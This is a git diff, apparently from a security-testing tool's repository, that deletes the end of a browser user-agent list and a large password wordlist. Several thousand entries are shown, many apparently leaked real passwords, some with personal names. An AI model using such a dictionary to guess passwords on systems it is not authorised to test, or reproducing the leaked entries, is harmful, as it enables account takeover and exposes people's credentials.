-Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 -Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 -Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; cs) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 -Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 -Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 -Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 -Opera/9.63 (X11; Linux i686) -Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; en) -Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.63 (X11; Linux i686; U; ru) -Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 -Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 -Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 -Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 -Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; ; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; en) Presto/2.2.0 -Opera/9.70 (Linux i686 ; U; en) Presto/2.2.1 -Opera/9.70 (Linux i686 ; U; en-us) Presto/2.2.0 -Opera/9.70 (Linux i686 ; U; zh-cn) Presto/2.2.0 -Opera/9.70 (Linux ppc64 ; U; en) Presto/2.2.1 -Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 -Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 -Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 -Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 -Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 -Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 -Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 -Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 -Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 -Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 -Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 -Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 -Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 -Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 -Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 -Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 -Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 -Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 -Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 diff --git a/txt/wordlist.txt b/txt/wordlist.txt deleted file mode 100644 index 96a30757833..00000000000 --- a/txt/wordlist.txt +++ /dev/null @@ -1,907684 +0,0 @@ -! -! Keeper -!! -!!! -!!!!!! -!!!!!2 -!!!666!!! -!!!666666!!! -!!!gerard!!! -!!!sara -!!##%%&&(( -!!))STEFFEN -!!11QQqq@@22 -!!1331xxx -!!2004 -!!222222 -!!4815162342 -!!689TH -!!8558!! -!!@#$%^ -!!@2210o -!!@@##f16 -!!Ailis!! -!!BCS14 -!!CYGF! -!!Creme!!Creme -!!FreaK?? -!!Jed02? -!!ToBau2 -!!URdead -!!VMwar33 -!!Ver1009 -!!VinCent!! -!!W AKC -!!a -!!admin -!!blingbling -!!dablubb!! -!!des -!!doose!! -!!erfolg!! -!!helmut?? -!!jaxx!! -!!jazlynn14!! -!!julie!!2008 -!!mahakala -!!mausi79 -!!moonslover -!!natascha!! -!!parsihacke -!!pfingsten -!!php1 -!!techno -!!thuyhuy -!!turbo -!" -!"34Abcd -!"3segundo -!# -!#%&*^$@ -!#Fa2519#! -!#dmm,1234 -!$!% -!$!=%$ -!$/")&( -!$3CRET -!&andy=/ -!(%#56% -!(HAPPY -!)&$ -!)obcy -!)years -!*!LEVE -!*DJC0N -!*DJc0n1 -!-Neo23-! -!-iriso4ka_ -!/!"!)%" -!02robin06 -!06VENU -!0L! -!1 -!1!mikem -!1001dk -!1234 -!12345 -!123ZYX -!123cx33! -!12police12! -!13vl666 -!1521! -!1996Avs -!19@ETS -!1BnM -!1Gwestgate -!1J608* -!1N,UOE -!1jacko -!1onewon -!1txxt1! -!2#hekni -!2007Gietos -!21781! -!23456 -!234VOD -!2Nirmala5! -!2llama2! -!2triv2g -!30n$@m$0n -!30nm@rc!@ -!321jetta86 -!357 -!372437! -!3LDAT0 -!3konsul5# -!4attic@ -!4crack -!4my26th! -!5#BRAF -!5*IP2S -!5<]APM2 -!5un5er# -!65Crichton -!6800982! -!72869522! -!81Birth23? -!89051671332! -!9IAMAN -!9WAN -!:C -!:LOK,G -!<3ETHN -!=DRKNGL -!=GONTH3 -!?Zack?! -!?core23 -!?drucken!? -!@# -!@#!@# -!@#$ -!@#$% -!@#$%^ -!@#$%^& -!@#$%^&* -!@#$%^&*( -!@#$%^&*() -!@#$%^Dr -!@#$%abcd -!@#$%~hong741 -!@#$xYa -!@#(*& -!@#1qaz2wsx -!@#951 -!@#ab -!@#az -!@#lucas -!@#sinistro2003 -!@3 -!@FLUFF -!@LUSL2 -!@Noreen45 -!@PROD1 -!@QW12qw -!@QW34E -!@QWASZ -!@QWASzx -!@angie!@ -!@azizi!@ -!@qwe -!@virkm@! -!A0O8VP -!A2G9E8 -!ACHY4L -!AD3MIN -!ADDI0 -!AKMSAV -!AQ5HWM -!ARCHIE -!Angel918273! -!Arxidia2009 -!Asdfj13 -!Aus6jfb -!Avan60tis! -!BX -!BaBbAk! -!Belthazor69 -!C3BERG -!CK2N2D -!CORD4E -!CSS201 -!CT-5C! -!Cabed -!ChArLoTtE@ -!ClancY9 -!Coo1per? -!D@Y -!DEP07A -!DFJK$% -!DID1LA -!DOT201 -!DanTe156 -!Derr01 -!Deviant19! -!E -!FFUB3# -!FILIPP -!Flach!dach! -!Fledermaus1975 -!Flyrichi! -!FrY188 -!FrontLijn! -!GH5PR? -!GILLES -!GSCMTA -!GaIaOnLiNe! -!Gorack01 -!H4X0RE -!HK9mmPB -!Hackeur! -!Hate88! -!Hax0R! -!IZMO5W -!JEROMM -!JK2384 -!K -!K-eV-in -!KPTSYR -!KUNG.. -!KYFOFF -!Kristina2ab! -!Kyoto517! -!L#o#L! -!L0V3EX -!LOKAD! -!Lestat00 -!Lynwood -!M4sYB -!MAGES2 -!MAGES4 -!MIKE! -!MP4PLF -!MUNEVI -!Master7 -!Master787 -!Mcse46- -!Mediate -!Michelle -!N33D@B -!NAVI30 -!NO;ERR -!NOWE/N -!NSTALL -!NWolkh3e -!Nghtrf1! -!NvenT@$ -!O1N1%U -!OKMnji__ -!OSZIMT -!PA55WO -!PASS -!PASSW0 -!PAULA! -!PHSERV -!PP60X> -!PW4ADM -!Password1 -!Persist -!Principessa! -!Q"W -!Q-W04U -!Q2W#E4 -!Q2w3e -!Q@W3e4r -!QA@WS -!QAYxsw2 -!QAZ1qaz -!QAZ2WS -!QAZ2wsx -!QAZxsw2 -!QEI05O -!QQ2WWA -!QUEDLINBURG -!R4UCHN -!RANI! -!RK!2312 -!Rheinbach1 -!SCANNE -!SIM-MU -!SMKYBE -!SYSADM -!SabineK!88 -!SaskO? -!Scon95! -!Sd1p5 -!Silimed2000 -!Sirje1964 -!Softcell -!Splat -!TAHCAG -!TSL@BS -!TZ0OLA -!Tomtom2508 -!Tony8102 -!U5JDYS -!USER12 -!USER@! -!UWADM1 -!VALENC -!VinCent! -!W4D4FU -!WCIMDR -!Wd16Ar# -!Wolfe$ -!XMAS$ -!XP -!XY*$47 -!Xemi77 -!Y+3=nX -!Y0URHE -!YsmAnl. -!ZN45CR -!Zwill08 -!^)!!$%^& -!_duhan_! -!_f1nl4nd -!_o&lana?= -!a10109055 -!adidas42 -!alph123 -!amM14W12 -!antoine* -!apfelkot! -!asolira -!avkorn -!axel.3? -!balevaw4 -!bangalore1! -!barny=0 -!bartd -!bastage! -!bcg42 -!be8Jiru! -!beavis -!bedistinct0 -!bee -!bequema! -!bibi@83! -!blumoon8 -!boberek22 -!boter22 -!braggo21! -!brianna! -!bs3352* -!bsa1983 -!bubbles!46 -!buffy5 -!buslust! -!c1e2t3i4 -!c4lr2d2 -!cachorr0 -!callie -!canon123 -!cat@54! -!catz4ever! -!chair -!chimpboi! -!ciao# -!clarissas! -!co2*kolt -!coke4ever! -!cold_hatred! -!coppermine! -!coucou! -!crono@polis! -!csjcsj7 -!cuttack! -!cxz!123! -!cyc#for! -!d0T3d_! -!daintofpunk! -!dalenka! -!deadlist9 -!december1987! -!dgjdas -!dieman! -!drawntoher! -!dre$con -!dulcere -!easyth1 -!eb2004 -!elDuck! -!elcmht123? -!elpoo -!elvis! -!emmurbd99 -!emp!re! -!exclark -!eyo@19! -!falke89531 -!fanball1 -!filter! -!firehawk1 -!freak1337 -!fuckoff -!fuckoff!369 -!fuckyou! -!fuckyou!369 -!g6or@b1 -!gOr732 -!ga@ga! -!garten.08 -!gert! -!ghi33rt -!gladi92! -!gravier! -!greenBEANS -!havdalah -!haydee! -!haywood3 -!hero_S04 -!horso! -!hottie04! -!india2009! -!initflnk -!interne -!j3sus! -!jabba0# -!jamas24 -!jaret07! -!jason -!jjf1088 -!karim#16 -!kendra! -!km321wg! -!ko5656# -!l=U}dL -!l@stfm! -!leetseg! -!leh!ladakh! -!leoz! -!letmein! -!lexmark16 -!lightfeet1 -!lmec! -!lovehp -!loverockandroll -!luvzuz -!m0rth666 -!magnum -!matze&54 -!max4684! -!maxnem+ -!meandhim -!metalflirt! -!mi070684 -!mi298r! -!miller69% -!missmyboo -!mona! -!moo4koo! -!mpuorg2! -!msi! -!mthr3w.0u= -!myk!! -!nTbxU5M -!nedalisso -!nf3rn0 -!nfinity213 -!nickn! -!ninesux -!ninja5 -!nixau! -!nova234 -!ns4sure -!okimi -!olds442 -!onetwo34 -!onkar -!orion!12 -!ou8123 -!p8is38 -!pAlmer8! -!paris0 -!parksbisawesome -!pass7318! -!peter! -!phpbb -!phpbb2# -!pmoney -!qaz098! -!qazse$32 -!qseg21! -!qwezxc78# -!r3d1al! -!r3tr0 -!ra3zo6 -!raban2007 -!rani! -!redm0nd! -!remrem! -!ritro99 -!romance! -!ronjon22 -!root -!ru$us22 -!s1l3nt! -!s9rk46R -!sae0158 -!seehecht! -!serials -!shadow! -!shootpower! -!sicher7 -!sicher8 -!slang? -!slc5rxb! -!snidley -!spain! -!squ32k18 -!stephane#16 -!stewart -!stinkfut! -!stinson11 -!stupid -!system238 -!taipan7 -!taytay! -!tazz! -!technoid -!tfk! -!thanca! -!tiger -!tiger! -!tigger -!timy69 -!ttclubs! -!v3c0n -!v7w00! -!vgbh99# -!vodoo123$ -!voyeurzin! -!w4d4fu -!wayne -!weirdNs -!weng1126! -!wh4tf0r -!wha-what. -!windward! -!x1c!KYX -!xet!1509 -!xinchaovietnam! -!yamaha -!yiannist@ -!zhangziqiang! -" -"!!!() -""!@!?@ -""(!""( -""HAMBURG -"$SCHUHE -"%5faSe3 -"/!=!)(" -"/"&"! -"==%!)(( -"> -">'>?> -"DEDJZS -"High8speed -"JV -"J~CGE -"T8FFX7 -"Yb -"Yj -"^=FDXI -"emxt-mv -"headbanger" -"ivikip" -"jk -"k1 -"lucy" -"myspace.com" -"nacht! -"rajerison33 -"weltkrieg" -# -# 28463750 -#! -#!! -#!: -#!@# -#!sammie -#"KBKH% -#### -###### -###123456abc -###AG1977 -###bold### -###www -##$!NIN -##ITCOM -##IbMS** -##JUNJU -##Jessie00 -##SALMO -##aqua## -##aqua99 -##dpr2904 -##eindia@99 -##gibson! -##guenter1932## -##heya## -##khattar -##kyr@99 -##ncars## -##none -##prominent -##pta**51 -##raj@99 -##runner## -##sql2005 -##tea@99 -##yogesh99 -#$ -#$%#$%@ -#$%^&* -#$%fwey32 -#$159-+ -#$CAD123 -#$MICS$ -#$^^^^$ -#(c3b2a1)# -#+ejs3,- -#,' -#-5ki115 -#-pascha1 -#.Berlin.# -#0028 -#047233503# -#099568t -#1 -#1111# -#123 -#123456Ga -#12543 -#12MN23 -#13glumanda -#140291f -#15 -#159632# -#15ERV1 -#17031968# -#170395cm- -#1740#H -#1882HO -#1985 -#1BABEK -#1COMPA -#1GMAGMA -#1GOLDS -#1Houligan -#1JAYHA -#1N57RU -#1P@wd$ -#1Ribbet -#1Roksy1 -#1SnakeMan -#1angel -#1baby -#1babygirl -#1baller -#1bitch -#1chick -#1christ -#1cutie -#1cutiepie -#1dancer -#1diva -#1drummer -#1girl -#1hottie -#1joshy -#1killer -#1kmarshall -#1loser -#1love -#1lover -#1markus5# -#1mommy -#1moomoo -#1moqul -#1password -#1pimp -#1princess -#1q2w3e -#1qay2wsx# -#1raider -#1saintsfan -#1sexy -#1stunna -#1taddeo -#1tennesse -#1titty -#1travis -#1trent -#2007B02 -#2107 -#220893a# -#23Imperium -#24FVSM -#260z! -#2X@!B*LIf -#2str37+ -#2xxxsean08 -#3 -#31#KK -#32metzy -#3334# -#3kids -#3x1pa9! -#4#$is> -#40RCPE -#4301rg -#456 -#4BHLKM -#4lk4l1n3! -#4wisch -#56v32 -#5BdeaP -#5URFFU -#69Steven -#6LA$PS -#711N54 -#750katana# -#7Piwei7 -#7S -#7SW-KI -#7atseif9 -#85gismo -#86jv41# -#8x57is# -#9513141o -#<3TI5F -#R -#@!MPET -#@!daisy -#@^2064 -#Arschloch789# -#BMW318is+ -#BOPBIP# -#BR0WN6 -#Billybran4 -#BlurP# -#BudI4MB -#CFS90Y -#CINCO05 -#D0 -#ED4RF% -#EFDF# -#Eagles+ -#EkdF! -#GARTEN -#GRP#Std1 -#Gandal#2010 -#Gigahof -#ILOVEnina# -#ITL*GW -#J;G~7D -#JURA5 -#Joost -#KAYSL5# -#K[ -#Kb0481 -#L3AG76 -#L3mur3s! -#M0tley2 -#M0tley321 -#MAKEMO -#MJonker -#Matrix7$ -#N3RD$R -#NAME? -#Noodles -#P18#12# -#PCS! -#PD38U# -#POUIC, -#Photp79 -#R -#REDBUC -#REF! -#RHMY9D -#S4902f -#S800big# -#SBE-29 -#SOVER -#ST#SPA -#SchnappI# -#Schulze# -#Schulze#38421 -#T -#TANGUY# -#TH3L@W -#TREBRE -#TRES003 -#TX0210 -#Tiger1 -#UB1K@N -#UNO001 -#Um1d1ty -#W1LD5H -#WC&B02 -#YSL#PA -#Zoubi38 -#_LWH0+ -#aC01wQ -#ab160562# -#adbanner! -#admin#123 -#adu$d89 -#aiforgot -#arko04# -#aziel# -#b31ner -#beauty# -#bimbafa6 -#blink182 -#blunt# -#boogie -#boost13 -#bosaid# -#boxes!! -#brb#8829 -#cavallo666 -#cemonko# -#chr@and -#coif203# -#dENNIS2101# -#daa -#dakh1410 -#dammerl -#dan88 -#dancer -#danny# -#define NWC -#dennis2101# -#dilo# -#dlth# -#dodo87 -#dontknow -#dtr937xa -#e566 -#echo+40 -#ector@1 -#edcvg6 -#eh021292# -#esp123# -#fallangl -#ff8beb$ -#foxmuld -#frescura# -#game# -#goldhort -#google -#haz0r23 -#hellohello -#hope84 -#imgod! -#include -#indi@# -#iverson# -#j4sp3r! -#java2### -#jil7sein# -#jjmayer -#josiah18 -#kaRUCi -#kanalia99 -#katr00! -#kolinet1# -#l3ag761 -#l3phan! -#lacava# -#lego# -#leonforte# -#london99$ -#lucky$ -#lusa83# -#macfun -#machdi094 -#mangaboy -#masform# -#mcrh -#mekisigr# -#mensa00 -#mm1983! -#mpkrr9crr# -#net@pass -#nfsg592@ -#nfsg592@rs| -#nixe$ -#nono123 -#oneboyj -#os221key -#ougk# -#pa$$ -#padauz -#pascal2050# -#paukstat1 -#phyrric# -#pjotor -#playboy -#pltr666 -#qazwsx40 -#r#s#v#s -#r16$c13 -#reajoom -#redlotus -#roy#2004 -#s13gh31l@ -#sabd7587 -#saller164 -#salvadori# -#samsung# -#sbz1sbz# -#seven2Q -#shadow# -#shizukana# -#sjs012413 -#skorpion6475 -#star$trek# -#stormphpbb -#sv-data# -#svalisa% -#swimer0 -#sxdc789# -#tabsel52 -#test$web -#tofi# -#tow1407# -#tr8740+ -#trolli#1 -#tutis2 -#tzotz@ -#ulf#1963 -#unitek -#vdr60625! -#w*rUm -#wml#357# -#x4+k5zt -#xf992 -#xl -#y9moritzz -#ysubmarine# -#zanotti# -#zobiaz3 -$ -$!/!$!/! -$!GRTSF -$!KN3SS -$!low -$": -$#@!QAZ -$#@!SYS -$#@!~logs -$#ALO0 -$$ -$$$ -$$$$$$ -$$$$CVI -$$$$PTZ -$$$lawax$$$ -$$$masterj -$$520319$$ -$$79 -$$B3NR0 -$$Express$$ -$$MINOU -$$PIMP$$ -$$SIMSI -$$T0NE22$ -$$aP123 -$$asma$% -$$elec1 -$$get$ -$$j0nas$$ -$$make:-) -$$money$$ -$$sanja1$$ -$$wing -$$xxibdb -$%RTFGV -$%Samson$% -$%^!@#99X -$%^&*() -$%^^&#%^#$ -$%armin04 -$%hh89@ -$(!$$(!$ -$)/ -$*990R7 -$00000 -$01asuka -$0D0MIE$ -$0LUT!O -$0MBX0! -$0UTHS1 -$0XSUCK -$0l4ng3$ -$0ld@2v -$0ldadodecri -$0tt01 -$10Million -$1A97TK -$1RVT3K -$1a5cb691 -$1arz2f$ -$1korni -$2forholly -$3@!ch -$3NT1N3 -$3RV(CE -$3llt4p -$3pp!1212 -$3vereWx -$3~LVYN -$4 -$45abXm9 -$4NDRIT -$4UIN02 -$4back2on -$4me@1s -$55Mill2 -$55untgrf -$576KHX -$5RotFuenf -$60circle -$7'BK7] -$70N3 -$74M8V) -$8hg4646 -$8mvdkb -$99RADI -$9c -$=Y7XU@ -$@FETI1 -$@h4myHP -$@nley -$A9U@US -$ADM423 -$AFETY1 -$AL3.1 -$AM@NAL -$AVRIL1 -$AY -$AlvBen% -$Ashbrock1 -$BaBa888 -$Bamb1e$ -$Blues4U -$C(%.Z4 -$CRAPMAN -$CRAP_M -$D3m0n6! -$DALLAS -$Diver05 -$Dnhh=04 -$DragoN911 -$ECURE_ -$ED0249$ -$EGH3ZZ -$ERV1CE -$FPMEME -$FR -$FUJILO -$Glendale3 -$H.pW09 -$H3LT3R -$H@R0N -$HugoImWald$ -$Husqv!! -$ICTADM -$ITU~DI -$Jamez1$ -$KATEb0ard -$KYWA1K -$L@N3Y! -$LABTEL -$LENIN$ -$LOCALP -$LOMOSH -$M1105 -$M662352 -$Mb&Cg# -$Mehanizam87 -$N5VV9F -$NELSON -$NQPF}T -$P33DB0 -$PAZ PA -$QU(7NV -$R0uge6& -$REBOOT -$REDZ6N -$Ruat73 -$SEPT20 -$SETUP$ -$STEVE1 -$SYS840 -$SYS@CL -$SYS@FR -$Scott6 -$SieBW98 -$Stani$6 -$TAL@DM -$TE4#NH -$TEINER -$TMNJBH -$TU@)!# -$TaNk21$ -$UPP047 -$VCT074 -$W1779 -$WINXP# -$WONGHO -$Y$TEM3 -$Y$TEML -$YMANTE -$_POST[pass] -$aLica01 -$acastillo& -$achosen1 -$action -$addquery -$alami<3 -$alinas99 -$allymywife -$alone04# -$alpha2zeta -$amR0ck5 -$amaric99 -$aoses& -$archaic$ -$av5290 -$avetheW0rld -$b` -$battery@15$ -$beth01 -$bill$ -$bling1 -$boehnke23 -$brent111 -$c0RP10n$ -$c0m4dm -$c0ttie -$camp83 -$carbosail -$carbosailing -$cc -$chalkeO4 -$check1 -$check2 -$clacruz& -$cmpname -$coffee$ -$colour -$community$ -$comp2000$ -$comtaz04 -$cookie_val -$country -$cowsrule -$cr099!t -$d3@pr15mata -$dallas$ -$datastr -$dbhost -$dbname -$dbpass -$dbuser -$devil$ -$dr@@kje$ -$drummer -$dvid$ -$econd -$ekomi1401 -$elbstw -$elvis$ -$email -$enGam12 -$evildoer99 -$excii -$extension -$extensions -$file_gidn -$file_stat -$filename -$filepath -$frizup -$fum3274r -$gfd27dm -$h$0m3l3ss -$h4d0w -$h@D0w -$h@d0w -$hadow -$handle -$hanmuNir0 -$hawn -$helfer7 -$hexstr -$ho107 -$hoe123 -$hotmail218 -$hsilva& -$hy1234566 -$hybrid -$i+ -$idle -$ikea$ -$imeks51 -$inguila21 -$ip -$jha1234 -$jherrera& -$josailorv$ -$jsceh26$ -$k&910804 -$karate3 -$karate33 -$katherine -$keystone$ -$keystroke666 -$korelko1$ -$kruemel% -$kumrock$ -$kyosho30 -$l4ck3r!1 -$lackware -$lacrosse$ -$lambretta -$lan -$liebich23 -$liman07 -$lindner23 -$links_count -$low6andit -$ls2009$ -$lv$0909 -$lyradmin -$m0k3y -$m0kenm1rr0r$ -$magiceye1 -$manager$ -$maradith -$marvin666 -$massimo -$matthew -$maxsize -$millenium$ -$moKin -$mob$*ALS* -$mond$see -$money -$money$ -$monja$1 -$nanndo33 -$nebenJob -$neik -$niBBl3z -$nutsgap3 -$oetgch#% -$ok_urls -$olamIt@ -$oonDead -$outh1998 -$p00n$ -$p4c3k4k3 -$pame@9 -$phpbb -$phpbb%10507 -$piderx -$plqrvt$ -$power$ -$protocol -$quantum$ -$qwer16 -$r3n%470$ -$reeny$ -$request -$return -$rfvvfr4 -$rivers$ -$rmarcano& -$rondp0nd -$rose$bud1 -$ru!rEpu -$s_maxu -$s_pwd -$s_showgeo -$s_showoff -$s_username -$schalke04$ -$sec&ure, -$shithead$ -$showofflines -$sixof1 -$sock -$stmg% -$success -$superarts -$t0p&g0 -$talkeR928 -$talks -$tdsm2618 -$totalbots -$tr0ngP4ss -$tr1bble% -$tr@ng3r -$treet -$ts3min -$tstamp -$tu@)!!1QA -$tube47 -$ty13zz -$uckmydick -$uid -$umaddh11 -$umner63 -$unbleaf -$uperman -$uperst4r -$url_info -$userswidth -$ussc08 -$usuleh37 -$v4pvks -$ver -$vercer 